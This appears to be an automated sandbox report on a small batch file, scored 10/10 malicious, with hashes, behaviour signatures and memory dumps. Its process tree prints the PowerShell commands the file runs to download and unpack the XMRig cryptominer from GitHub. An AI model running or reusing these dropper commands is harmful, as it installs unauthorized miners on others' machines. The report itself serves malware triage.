04cf0194fb37bcc19b2b63904d84a74c720b64b7938620fdf971bb98a8f47ccd

Analysis

max time kernel
121s
max time network
127s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
22/12/2023, 10:03

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General

Target

tesy - Copy (5).bat
Size

608B
MD5

727c8da0478af118c957ae60f7161cab
SHA1

cf18105b8659e93bbd2824fa35ef1bae7b395301
SHA256

97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab
SHA512

d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	2380	powershell.exe
4	2380	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2380	powershell.exe
2716	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2380	powershell.exe
Token: SeDebugPrivilege	2716	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1756 wrote to memory of 2380	1756	cmd.exe	29
PID 1756 wrote to memory of 2380	1756	cmd.exe	29
PID 1756 wrote to memory of 2380	1756	cmd.exe	29
PID 1756 wrote to memory of 2716	1756	cmd.exe	30
PID 1756 wrote to memory of 2716	1756	cmd.exe	30
PID 1756 wrote to memory of 2716	1756	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (5).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1756
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2380
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2716

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
0654ccd1b912d71985e55b9f24f7184e

SHA1
95c528c60ac7ea185c4318aa6f981da120c96ecd

SHA256
0265db49ee0f3aa651405c30c58b2c3d2d76cbf57f34f25625c6361aaaeb0020

SHA512
3c20021b7cde31b17c95979b138376cb9e8d146e4d5d5d21935745dc0129275c85d690a92f0a7e3b2788e93db1e074645c07f89381fd187f18016337dedeaeac

Download Submit
memory/2380-12-0x00000000029C0000-0x0000000002A40000-memory.dmp

Filesize
512KB

Download
memory/2380-5-0x0000000001F40000-0x0000000001F48000-memory.dmp

Filesize
32KB

Download
memory/2380-6-0x000007FEF55A0000-0x000007FEF5F3D000-memory.dmp

Filesize
9.6MB

Download
memory/2380-8-0x00000000029C0000-0x0000000002A40000-memory.dmp

Filesize
512KB

Download
memory/2380-9-0x00000000029C0000-0x0000000002A40000-memory.dmp

Filesize
512KB

Download
memory/2380-10-0x000007FEF55A0000-0x000007FEF5F3D000-memory.dmp

Filesize
9.6MB

Download
memory/2380-11-0x000007FEF55A0000-0x000007FEF5F3D000-memory.dmp

Filesize
9.6MB

Download
memory/2380-4-0x000000001B350000-0x000000001B632000-memory.dmp

Filesize
2.9MB

Download
memory/2380-7-0x00000000029C0000-0x0000000002A40000-memory.dmp

Filesize
512KB

Download
memory/2716-20-0x0000000001ED0000-0x0000000001ED8000-memory.dmp

Filesize
32KB

Download
memory/2716-18-0x000000001B3A0000-0x000000001B682000-memory.dmp

Filesize
2.9MB

Download
memory/2716-19-0x000007FEF4C00000-0x000007FEF559D000-memory.dmp

Filesize
9.6MB

Download
memory/2716-21-0x00000000028E0000-0x0000000002960000-memory.dmp

Filesize
512KB

Download
memory/2716-22-0x00000000028E0000-0x0000000002960000-memory.dmp

Filesize
512KB

Download
memory/2716-23-0x00000000028E0000-0x0000000002960000-memory.dmp

Filesize
512KB

Download
memory/2716-24-0x000007FEF4C00000-0x000007FEF559D000-memory.dmp

Filesize
9.6MB

Download
memory/2716-25-0x00000000028E0000-0x0000000002960000-memory.dmp

Filesize
512KB

Download
memory/2716-26-0x000007FEF4C00000-0x000007FEF559D000-memory.dmp

Filesize
9.6MB

Download